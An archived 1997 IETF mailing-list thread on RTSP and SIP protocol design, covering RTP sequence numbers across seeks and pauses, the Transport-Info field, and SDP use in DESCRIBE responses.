>
> I have the feeling this isn't all that bad - it certainly
> doesn't seem to make things less secure - and it would
> avoid a couple of problems in RTSP, especially the
> race condition between stream data and the PLAY response.

I believe that  will not work. Lets say that the server has sent packets
65534, 65535, 0  to the client and they are between here and Europe. The
client sends a seek ,which results in a sequence number of 0 being sent.
There is no way to seperate out the two packets with sequence number 0.
Choosing a sequence number maximally distant from the last one ensures
that this problem does not occur.

I think the race condition is something we will have to tackle anyway,
either by forcing client buffering or adding a roundtrip somewhere.


--
-----------------------------------------------------------------
  Anup Rao
  Member Of Technical Staff
  Netscape Communications Corp.
  email : anup@netscape.com         Phone : (415) 937 3129
-----------------------------------------------------------------


--------------msD686F38221DC79EEA55DC8ED
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIG8gYJKoZIhvcNAQcCoIIG4zCCBt8CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BSQwggJjMIIBzKADAgECAgIBtzANBgkqhkiG9w0BAQQFADB3MQswCQYDVQQGEwJVUzEsMCoG
A1UEChMjTmV0c2NhcGUgQ29tbXVuaWNhdGlvbnMgQ29ycG9yYXRpb24xHDAaBgNVBAsTE0lu
Zm9ybWF0aW9uIFN5c3RlbXMxHDAaBgNVBAMTE3Jvb3RjYS5uZXRzY2FwZS5jb20wHhcNOTcw
NTE2MTY1MTE1WhcNOTcxMTEyMTY1MTE1WjCBgjELMAkGA1UEBhMCVVMxJjAkBgNVBAoTHU5l
dHNjYXBlIENvbW11bmljYXRpb25zIENvcnAuMRMwEQYDVQQDEwpBbnVwIFYgUmFvMSAwHgYJ
KoZIhvcNAQkBFhFhbnVwQG5ldHNjYXBlLmNvbTEUMBIGCgmSJomT8ixkAQETBGFudXAwXDAN
BgkqhkiG9w0BAQEFAANLADBIAkEAmxrdqVlqR3Bmvms7eOyI9bcar073s9d/sUZfvsanTSmP
Zt1XjzIStAbiz2hdH/foScl21jQlAhJ8+Kvqw9B9SQIDAQABozYwNDARBglghkgBhvhCAQEE
BAMCAKAwHwYDVR0jBBgwFoAU/OBU6Afxld4695nGrvoVDG7ELpIwDQYJKoZIhvcNAQEEBQAD
gYEAHwb8ahafhkduRBKdfLIWlpWr6x3T24f0U3pfVse0cVGQf0CpL+CUmPhgedvpccP8iTHB
hFwaVtXzuGp7QUX5j+6netVIZSu4048BF5fBBYRIeMd0T8qxpbTVplOZ/GwaiYLr2RtMyd+0
vgUSYGrj82S/YvzBQp+KvcjQqfnbCM8wggK5MIICIqADAgECAgEBMA0GCSqGSIb3DQEBBAUA
MHcxCzAJBgNVBAYTAlVTMSwwKgYDVQQKEyNOZXRzY2FwZSBDb21tdW5pY2F0aW9ucyBDb3Jw
b3JhdGlvbjEcMBoGA1UECxMTSW5mb3JtYXRpb24gU3lzdGVtczEcMBoGA1UEAxMTcm9vdGNh
Lm5ldHNjYXBlLmNvbTAeFw05NzAzMjYwMTQ0MzhaFw05OTAzMjYwMTQ0MzhaMHcxCzAJBgNV
BAYTAlVTMSwwKgYDVQQKEyNOZXRzY2FwZSBDb21tdW5pY2F0aW9ucyBDb3Jwb3JhdGlvbjEc
MBoGA1UECxMTSW5mb3JtYXRpb24gU3lzdGVtczEcMBoGA1UEAxMTcm9vdGNhLm5ldHNjYXBl
LmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAwao+/i0/pYfDR9/72m3YGKBFPfnH
m0POJ7RaE5wRfb/S8ohex7+yi3m6p+UoC0CmjpkxVcX4zpYGXiKEdr8BImLDqZknuwhoERTH
Cn7csof4x+AkMAG8LZaF5xnDLqGTdyw0GC/736JIs+egr3oD5IuMdaQtkyCMIDlUp0W6QGUC
AwEAAaNVMFMwEQYJYIZIAYb4QgEBBAQDAgAEMB0GA1UdDgQWBBT84FToB/GV3jr3mcau+hUM
bsQukjAfBgNVHSMEGDAWgBT84FToB/GV3jr3mcau+hUMbsQukjANBgkqhkiG9w0BAQQFAAOB
gQBZ99sbXHoGxObFmGGEGM76BksgsSTK/Fl+Pxjx5L6sENlK0mmPbvyRyvUEHAquufrKOexN
ABmmZ5TM5UBbWYQkkvABLBnkCy87HPYPG4VF7MOX8eC6QMvdV3GJ4ItJcEkf3bbLNG9vzy8h
5FPRGWaPZ2Lw3e4dSCrwR3uDdId5yDGCAZYwggGSAgEBMH0wdzELMAkGA1UEBhMCVVMxLDAq
BgNVBAoTI05ldHNjYXBlIENvbW11bmljYXRpb25zIENvcnBvcmF0aW9uMRwwGgYDVQQLExNJ
bmZvcm1hdGlvbiBTeXN0ZW1zMRwwGgYDVQQDExNyb290Y2EubmV0c2NhcGUuY29tAgIBtzAJ
BgUrDgMCGgUAoIGxMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwIwYJKoZIhvcNAQkEMRYE
FGGHBNIqbhZOe+qyN6y6dbUPmr5oMBwGCSqGSIb3DQEJBTEPFw05NzA4MjcwMTI0NTFaMFIG
CSqGSIb3DQEJDzFFMEMwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwICAgCAMAcGBSsOAwIHMA0G
CCqGSIb3DQMCAgFAMA0GCCqGSIb3DQMCAgEoMA0GCSqGSIb3DQEBAQUABEArWMnInYWkiOul
FIaQDpDeRd5Myeshd4J9p5ddbvNzE+O6M3OrtVX9fKKlOHwZ3g2kCdr/jOzpSrbreb3k+i6W

--------------msD686F38221DC79EEA55DC8ED--


From majordom@ISI.EDU  Tue Aug 26 11:51:42 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA03851>; Tue, 26 Aug 1997 18:53:14 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA03845>; Tue, 26 Aug 1997 18:53:12 -0700
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA01827
	for <confctrl@ISI.EDU>; Tue, 26 Aug 1997 18:53:11 -0700 (PDT)
Received: from oak.precept.com (oak.precept.com [204.162.116.21])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id SAA02341;
	Tue, 26 Aug 1997 18:52:39 -0700 (PDT)
Date: Tue, 26 Aug 1997 18:51:42 -0700 ()
From: Stephen Casner <casner@precept.com>
To: Philipp Hoschka <hoschka@w3.org>
Cc: confctrl@ISI.EDU
Subject: Re: "seq" in Transport-Info
In-Reply-To: <199708262245.AAA20611@www45.inria.fr>
Message-Id: <Pine.WNT.3.95.970826175624.-188305J-100000@oak.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Philipp,

> 12.36 Transport-Info
> 
>      This field is used to set Transport specific parameters in the PLAY
>    response.
> 
>    seq:
>           Indicates the sequence number of the first packet of the
>           stream. This allows clients to gracefully deal with packets
>           when seeking. The client uses this value to differentiate
>           packets that originated before the seek from packets that
>           originated after the seek.

It was suggested in Munich that this be changed to the PAUSE response
(giving the last sequence number before pause) in order to reduce
delay.  I prefer that to the other variation suggested which was to
have the client tell the server what sequence number to use.  See my
explanation below.

The motivation is not for the initial PLAY, but for the scenario where
the user moves a position slider and then resumes play.  In an ideal
world with no delay, I would think the media should just keep playing
continously and the client would not really care where the boundary
was.  However, with network delay, folks from PN said they wanted the
media to freeze when you move the slider bar, then resume, after
buffering delay, with playout of the first packet after the
repositioning.  (There might need to be an implicit PAUSE command for
the above suggestion to work.)

> Assume the client has plaid a stream up to timecode 00:00:01, 
> and now sends out a seek, e.g. to 00:00:05. In this case, the
> client can compute which sequence number to expect in the first packet
> after the seek, since it knows which seq-number the stream has 
> started at, and it also knows the clockrate of the stream.

For constant rate audio in constant size packets that might be true,
but not for most video codings.

> I guess the real reason is if the initial packets of the stream are
> lost - in this case, subsequent seeks do not actually jump to the
> right place in the stream when a randomized initial sequence number
> is used (as is the case in RTP, for security reasons). 

No, I don't think the randomized initial sequence number matters.  You
might want to know the binding between RTP timestamp and NPT to be
able to update the position slider.  That mapping could be given
explicitly since the initial RTP timestamp is also prescribed to have
a random offset.

> Assume you loose the packets for the first second in the above 
> example. Using the method described above, after the seek the 
> client will then start playing packets starting from 00:00:06,
> instead of 00:00:01. This is because with RTP, there is no
> way for the client to find out that the first second of the 
> stream was lost.

You would need to know the initial sequence number.  However, here's
the point I want to make with this message:

    I contend that a playback stream with pauses and seeks should look
    to the RTP receiver just like a silence-suppressed live stream
    would look.  That means:

      - The sequence numbers should be kept contiguous across pauses
	and seeks so that the loss measurement functions of RTP can
	work.  That is, a gap in sequence numbers indicates a loss.

      - The advancement of the RTP timestamp should reflect the
	progress of real time at the server.  That is, during a pause,
	the RTP timestamp should keep ticking along with real time,
	and during a seek without a pause, the RTP timestamp should
	progress contiguously across the seek (no gap).  This avoids
	introducing shifts into the mapping between the server RTP
	timestamps and the local playout clock timestamps so that the
	playback point adaptation can work continuously.

This means that the mapping between RTP timestamp and NPT changes
during a pause and so it might have to be communicated explicitly at
each play.  The idea is that this mapping is a UI issue only, and not
a media playback issue.  That is, let the RTP streaming mechanism work
as it is supposed to, and handle the deviations introduced by control
operations at the control level.

> In this case, it seems enough to send only the initial
> sequence number, e.g. as part of the session description, not
> in every play request. This would avoid the race condition
> between the play response and the stream data packets.

If you do want to freeze the display immediately at the client and
then resume playing only after the seek point, as the PN guy said,
then you would need to know the sequence number on the seek.  Sequence
number is preferred over RTP timestamp because the timestamp may not
be monotonic (for example with MPEG).

> Moreover, using a randomized initial sequence number for 
> security seems pointless if this initial sequence number is 
> transported in cleartext in RTSP. 

I don't remember the details of the attacks, but for at least some of
them, the number just needs to be unpredictable, not secret.

> Should we drop the random initial seq number for RTP streams
> requested via RTSP, and simply start sequence numbers at 0 ? Hm, 
> I guess the RTSP traffic could also be encrypted, but 
> "known plaintext attacks" on RTSP are probably quite easy (if 
> only because RTSP doesn't use randomized sequence numbers for 
> its requests). Then again, I'm not a security expert.

The numbers could be made to start at zero, but above I have argued
that the mappings may need to be communicated after a pause or seek,
so they might as well be communicated initially also.
							-- Steve


From majordom@ISI.EDU  Wed Aug 27 14:29:12 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA16391>; Wed, 27 Aug 1997 01:29:52 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA16385>; Wed, 27 Aug 1997 01:29:51 -0700
Received: from cs.tut.fi (cs.tut.fi [130.230.4.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA08945
	for <confctrl@isi.edu>; Wed, 27 Aug 1997 01:29:49 -0700 (PDT)
Received: from harakka.cs.tut.fi (petkos@harakka.cs.tut.fi [130.230.5.4])
          by cs.tut.fi (8.8.5/8.8.4) with ESMTP
	  id LAA21184; Wed, 27 Aug 1997 11:29:46 +0300 (EET DST)
From: Koskelainen Petri <petkos@cs.tut.fi>
Received: (from petkos@localhost)
          by harakka.cs.tut.fi (8.8.5/8.8.4)
	  id LAA00575; Wed, 27 Aug 1997 11:29:12 +0300 (EET DST)
Message-Id: <199708270829.LAA00575@harakka.cs.tut.fi>
Subject: SIPv3 (and SDP) comments
To: confctrl@ISI.EDU
Date: Wed, 27 Aug 1997 11:29:12 +0300 (EET DST)
X-Mailer: ELM [version 2.4ME+ PL27 (25)]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Hi,

Having read SIPv3 draft I have still two questions.


1: Is it possible for a receiver (SIP server) to select to 
which port media stream is to be sent by sender (SIP client)  ?
Now I assume that sender decides (guesses?) it and there is no
corresponding warning message (example: "606.6 Port not available")

I think such a feature is useful since receiver may want to control
that or selected port might be in use already.



2: Is it possible to exchange codec options via SIP ?
Many codecs have codec-specific options. 
How can this codec specific information be presented in SIP message ?  
 
SDP a=rtpmap attribute seems not to be proper place to do this 
since SDP draft says:
 
    Additional parameters may be  defined  in  the  future,  but  codec-
    specific  parameters  should  not  be added.  Parameters added to an
    rtpmap attribute should only be those required for a session  direc-
    tory to make the choice of appropriate media too to participate in a
    session.  Codec-specific parameters should be added in other  attri-
    butes.

How about a=fmtp attribute in SDP ?
Is that the right place to specify codec specific options ?

If yes, where are these format specific parameters defined ?
In AVT/MMUSIC/ITU/IANA etc ?


/petri

From majordom@ISI.EDU  Wed Aug 27 15:01:06 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA25263>; Wed, 27 Aug 1997 16:01:13 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA25242>; Wed, 27 Aug 1997 16:01:10 -0700
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA07419
	for <confctrl@ISI.EDU>; Wed, 27 Aug 1997 16:01:09 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id TAA24980; Wed, 27 Aug 1997 19:01:08 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id TAA01951; Wed, 27 Aug 1997 19:01:07 -0400 (EDT)
Message-Id: <3404B1B2.1C385D4B@cs.columbia.edu>
Date: Wed, 27 Aug 1997 19:01:06 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.02 [en] (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Anup Rao <anup@netscape.com>
Cc: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>, confctrl@ISI.EDU
Subject: Re: SIP, RTSP: sequence numbers
References: <199708260944.LAA15374@www45.inria.fr> <34037320.F6684FB9@netscape.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Anup Rao wrote:
> 
> Philipp Hoschka wrote:
> 
> > >Suggestion: Move RTSP timestamp from request-line to Sequence:
> > header,
> > >making the RTSP request/response line conformant with HTTP (and SIP).
> >
> > yes, please !
> >
> > when I showed the RTSP spec to our jigsaw architect (W3C http server),
> >
> > this was a thing he absolutely hated, because it meant that the
> > Jigsaw parser would have to be rewritten compeletely.
> >
> > -Philipp
> 
>   I don't quite understand this, and here's why:
> 
> Case 1: Control channel over TCP - In this case it can be argued that
> you can just ignore the sequence number. I should think the code change,
> if any is minimal.

> Case 2: Control channel over UDP : Since the control channel is now not
> a stream based one, the changes to Jigsaw would be significant
> regardless. I'll buy that it is possible to do this in a manner
> independant of whether the control channel is UDP or TCP, but still dont
> understand why the sequence number being in the request line would imply
> a significant rewrite.

In my little Java exercise of a generic SIP/RTSP/miniature-HTTP server,
the SIP and RTSP parsers subclass the HTTP parser. All three operate on
complete messages, so it doesn't matter whether the message was
delivered by UDP, TCP or punch cards. (After all, the behavior is
exactly the same, in terms of messages returned.) The HTTP parser class
takes care of the request/response line parsing.

With the sequence number as is, I can't do this as easily, as things are
different for RTSP.


> 
> --
> -----------------------------------------------------------------
>   Anup Rao
>   Member Of Technical Staff
>   Netscape Communications Corp.
>   email : anup@netscape.com         Phone : (415) 937 3129
> -----------------------------------------------------------------

-- 
Henning Schulzrinne        email: schulzrinne@cs.columbia.edu
Dept. of Computer Science  phone: +1 212 939-7042 (@Bell Labs: 908 949
8344)
Columbia University        fax:   +1 212 666-0140
New York, NY 10027         URL:   http://www.cs.columbia.edu/~hgs

0027         URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Wed Aug 27 09:40:47 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA02383>; Wed, 27 Aug 1997 18:37:53 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA27471>; Wed, 27 Aug 1997 16:40:55 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id QAA09019
	for <confctrl@isi.edu>; Wed, 27 Aug 1997 16:40:54 -0700 (PDT)
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA29228
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Wed, 27 Aug 1997 16:40:54 -0700
Message-Id: <3.0.3.32.19970827164047.01a79bec@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Wed, 27 Aug 1997 16:40:47 -0700
To: confctrl@ISI.EDU
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP 1a: Transport-Info field
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Issue 1a. from Munich:

The Transport-Info field was added to draft03 as a way of inform the client
of the sequence number of the first packet following a seek. This allows
the client to safely discard packets with sequence numbers smaller than the
initial post-seek sequence number.

The attendees in Munich decided that we need more clarity on the purpose of
the field, and what requirements we are trying to fill with this field.

The current '"seq" in Transport-Info' thread on confctrl is a continuation
of that discussion.

Rob

From majordom@ISI.EDU  Wed Aug 27 15:20:29 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA02727>; Wed, 27 Aug 1997 19:09:50 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA26571>; Wed, 27 Aug 1997 16:20:46 -0700
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA08358
	for <confctrl@ISI.EDU>; Wed, 27 Aug 1997 16:20:45 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id TAA25778; Wed, 27 Aug 1997 19:20:40 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id TAA02017; Wed, 27 Aug 1997 19:20:29 -0400 (EDT)
Message-Id: <3404B63D.F26CE787@cs.columbia.edu>
Date: Wed, 27 Aug 1997 19:20:29 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.02 [en] (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Stephen Casner <casner@precept.com>
Cc: Philipp Hoschka <hoschka@w3.org>, confctrl@ISI.EDU
Subject: Re: "seq" in Transport-Info
References: <Pine.WNT.3.95.970826175624.-188305J-100000@oak.precept.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

The only time the sequence number matters is with an 'interrupt' PAUSE
(pause *now*). Otherwise, you want all of the segments played
consecutively and there's no need to flush anything. Thus, it seems to
make sense to include the last seq. no. in the PAUSE response, as that's
the earliest opportunity to do so.

There are few other alternatives to using RTSP to signal the sequence #,
since messing with the sequence numbers, as Steve pointed out, does not
appear to be a good idea, marker bits are not reliable and timestamps
should be continuous.

For completeness, here are the RTP-based ones that I can see:

(a) Use several dynamic PTs for the same encoding and cycle through
these for each segment. Thus, you just drop the packets with the current
PT when you send a PAUSE. May not work well when codec changes
mid-stream.

(b) Use generation numbers as PN did (apparently), as an RTP header
extension. Adds overhead and requires standardization.

(c) Switch SSRCs for each segment. When pausing, drop all packets with
the current SSRC. This should work, but restarts receiver reports, as
these are per SSRC.

Can't say any of them is that attractive.

Henning
-- 
Henning Schulzrinne        email: schulzrinne@cs.columbia.edu
Dept. of Computer Science  phone: +1 212 939-7042 (@Bell Labs: 908 949
8344)
Columbia University        fax:   +1 212 666-0140
New York, NY 10027         URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Wed Aug 27 09:35:46 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA03186>; Wed, 27 Aug 1997 19:32:47 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA27227>; Wed, 27 Aug 1997 16:35:55 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id QAA08888
	for <confctrl@isi.edu>; Wed, 27 Aug 1997 16:35:54 -0700 (PDT)
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA28810
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Wed, 27 Aug 1997 16:35:52 -0700
Message-Id: <3.0.3.32.19970827163546.01a79bec@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Wed, 27 Aug 1997 16:35:46 -0700
To: confctrl@ISI.EDU
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP/MMUSIC-WG Meeting Summary (Munich)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Here's the outline of what was discussed during the RTSP portion of the
talk in Munich, in the order in which they were discussed.  I'll be firing
off email messages for each of the items below, so expect to see individual
messages on each of these topics today and tomorrow:

      1. Review Changes of the Draft 
         a. Transport-Info field 
         b & e. 1-1-n & Use of SDP within RTSP
         c. PEP-Protocol Extention Protocol 
         d. ANNOUNCE method 
         f. Sequence number moved to the header fields 
         g. Port number spec 
      2. New Business 
         a. Allow change of Transport 
         b. Release Scheudule 
         c. Interoperability test gathering 
         d. Documentation issues
 
Rob


---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/help/firewall
For more information on RTSP:                     http://www.real.com/rtsp

From majordom@ISI.EDU  Wed Aug 27 09:46:51 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04841>; Wed, 27 Aug 1997 20:37:54 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA27756>; Wed, 27 Aug 1997 16:46:58 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id QAA09470
	for <confctrl@isi.edu>; Wed, 27 Aug 1997 16:46:57 -0700 (PDT)
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA29807
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Wed, 27 Aug 1997 16:46:58 -0700
Message-Id: <3.0.3.32.19970827164651.01a7cf6c@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Wed, 27 Aug 1997 16:46:51 -0700
To: confctrl@ISI.EDU
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP 1b & e. 1-1-n & Use of SDP within RTSP
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Issue 1b. & 1e. from Munich:

1-1-n refers to a single RTSP resource (i.e. a container file), which is
controlled by a single RTSP session (and thus has a single NPT and session
id), that contains multiple (n) RTP streams. Here's where things landed:

  1. Client retrieves description of the container
     file through a single DESCRIBE (though may
     retrieve this through other means if those means
     are sufficiently synchronized with the media
     server). This single description contains
     multiple streams.
  2. The client issues a SETUP command per stream (n
     SETUP commands) to the server. Each of the SETUP
     messages has the same session id, and are
     distinguished by their URLs.
  3. The client issues a single PLAY, which starts
     all streams in the session along a common NPT.

To see how this translates to the actual session descriptions, look at the
following SDP:

NOTE: The examples below are slightly different than those in the
draft03. This came from hallway discussions with various parties about how
SDP and RTSP could be better integrated. The next draft will resolve this
issue.

For single-stream presentations, the DESCRIBE
response should look like this:

   DESCRIBE rtsp://foo.com/boo/bar.wav/ RTSP/1.0 1
   Accept: application/sdp

   RTSP/1.0 200 1 OK
   Date: 22 Jul 1997 00:16:41 GMT
   Content-type: application/sdp
   Content-Length: 242

   v=0
   o=- 2890844256 2890842807 IN IP4 127.0.0.1
   s=<title string>
   i=<more info>
   t=0 0
   m=audio 8004 RTP/AVP 3
   c=IN URL rtsp://foo.com/boo/bar.wav

For multi-stream presentations:


   DESCRIBE rtsp://foo.com/boo/bar.avi/ RTSP/1.0 1
   Accept: application/sdp

   RTSP/1.0 200 1 OK
   Date: Tue Jul 22 17:11:12 1997
   Content-Type: application/sdp
   Content-Length: 319

   v=0
   o=- 2890844256 2890842807 IN IP4 127.0.0.1
   s=<title string>
   i=<more info>
   t=0 0
   m=video 8002 RTP/AVP 31
   c=IN URL trackID=47
   m=audio 8004 RTP/AVP 3
   c=IN URL trackID=48

The media urls in the request are relative to the request url. One could
just as easily have had:

   DESCRIBE rtsp://foo.com/boo/bar.avi/ RTSP/1.0 1
   Accept: application/sdp

   RTSP/1.0 200 1 OK
   Date: Tue Jul 22 17:11:12 1997
   Content-Type: application/sdp
   Content-Length: 319

   v=0
   o=- 2890844256 2890842807 IN IP4 127.0.0.1
   s=<title string>
   i=<more info>
   c=IN IP4 0.0.0.0/15/1
   t=0 0
   m=video 8002 RTP/AVP 31
   c=IN URL rtsp://foo.com/boo/bar.avi/trackID=47
   m=audio 8004 RTP/AVP 3
   c=IN URL rtsp://foo.com/boo/bar.avi/trackID=48

There were no major concerns expressed about this in Munich. When an
arbitrary stream URL is specified in a DESCRIBE response (perhaps to an
entirely different server), the client is expected to still send the SETUP
message corresponding to that URL to the server that the DESCRIBE response
came from. This behavior will be specified in the next revision of the
specification.


From majordom@ISI.EDU  Wed Aug 27 14:51:44 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA24660>; Wed, 27 Aug 1997 15:51:58 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA24654>; Wed, 27 Aug 1997 15:51:57 -0700
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA07031
	for <confctrl@ISI.EDU>; Wed, 27 Aug 1997 15:51:56 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id SAA24603; Wed, 27 Aug 1997 18:51:51 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id SAA01907; Wed, 27 Aug 1997 18:51:49 -0400 (EDT)
Message-Id: <3404AF80.60199582@cs.columbia.edu>
Date: Wed, 27 Aug 1997 18:51:44 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.02 [en] (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Koskelainen Petri <petkos@cs.tut.fi>
Cc: confctrl@ISI.EDU
Subject: Re: SIPv3 (and SDP) comments
References: <199708270829.LAA00575@harakka.cs.tut.fi>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Koskelainen Petri wrote:
> 
> Hi,
> 
> Having read SIPv3 draft I have still two questions.

Just to avoid confusion: this is SIPv2, draft -03.

> 
> 1: Is it possible for a receiver (SIP server) to select to
> which port media stream is to be sent by sender (SIP client)  ?
> Now I assume that sender decides (guesses?) it and there is no
> corresponding warning message (example: "606.6 Port not available")

This will be clarified in the working draft, but the basic model is that
each party declares where it wants to receive data and the sender
obliges by sending to that address and port.


> 
> I think such a feature is useful since receiver may want to control
> that or selected port might be in use already.
> 
> 2: Is it possible to exchange codec options via SIP ?
> Many codecs have codec-specific options.
> How can this codec specific information be presented in SIP message ?

This is the role of the session description format, SDP or otherwise.

> 
> SDP a=rtpmap attribute seems not to be proper place to do this
> since SDP draft says:
> 
>     Additional parameters may be  defined  in  the  future,  but  codec-
>     specific  parameters  should  not  be added.  Parameters added to an
>     rtpmap attribute should only be those required for a session  direc-
>     tory to make the choice of appropriate media too to participate in a
>     session.  Codec-specific parameters should be added in other  attri-
>     butes.
> 
> How about a=fmtp attribute in SDP ?
> Is that the right place to specify codec specific options ?
> 
> If yes, where are these format specific parameters defined ?
> In AVT/MMUSIC/ITU/IANA etc ?

If this is an RTP payload format, they may as well be defined in the RTP
payload definition, to avoid proliferation of two-page RFCs. I'm not
aware of any formats that do that, though. None of the standard payload
types so far seem to need these parameters, although they are discussed
frequently.

> 
> /petri

-- 
Henning Schulzrinne        email: schulzrinne@cs.columbia.edu
Dept. of Computer Science  phone: +1 212 939-7042 (@Bell Labs: 908 949
8344)
Columbia University        fax:   +1 212 666-0140
New York, NY 
0027         URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Thu Aug 28 12:59:33 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA13174>; Thu, 28 Aug 1997 04:00:00 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA13168>; Thu, 28 Aug 1997 03:59:58 -0700
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by quark.isi.edu (8.8.7/8.8.6) with SMTP id DAA29214
	for <confctrl@ISI.EDU>; Thu, 28 Aug 1997 03:59:58 -0700 (PDT)
